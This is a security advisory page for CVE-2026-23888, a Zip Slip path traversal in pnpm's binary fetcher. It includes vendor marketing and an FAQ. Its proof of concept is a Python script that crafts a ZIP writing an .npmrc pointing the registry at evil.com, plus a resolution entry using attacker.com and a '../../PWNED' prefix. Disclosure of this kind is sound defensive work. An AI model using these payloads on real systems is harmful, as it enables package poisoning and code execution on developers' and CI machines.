Summary
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-23888 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.28.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-23888? CVE-2026-23888 is a medium-severity path traversal vulnerability in pnpm (npm), affecting versions < 10.28.1. It is fixed in 10.28.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-23888? CVE-2026-23888 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pnpm are affected by CVE-2026-23888? pnpm (npm) versions < 10.28.1 is affected.
- Is there a fix for CVE-2026-23888? Yes. CVE-2026-23888 is fixed in 10.28.1. Upgrade to this version or later.
- Is CVE-2026-23888 exploitable, and should I be worried? Whether CVE-2026-23888 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-23888 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-23888? Upgrade
pnpmto 10.28.1 or later.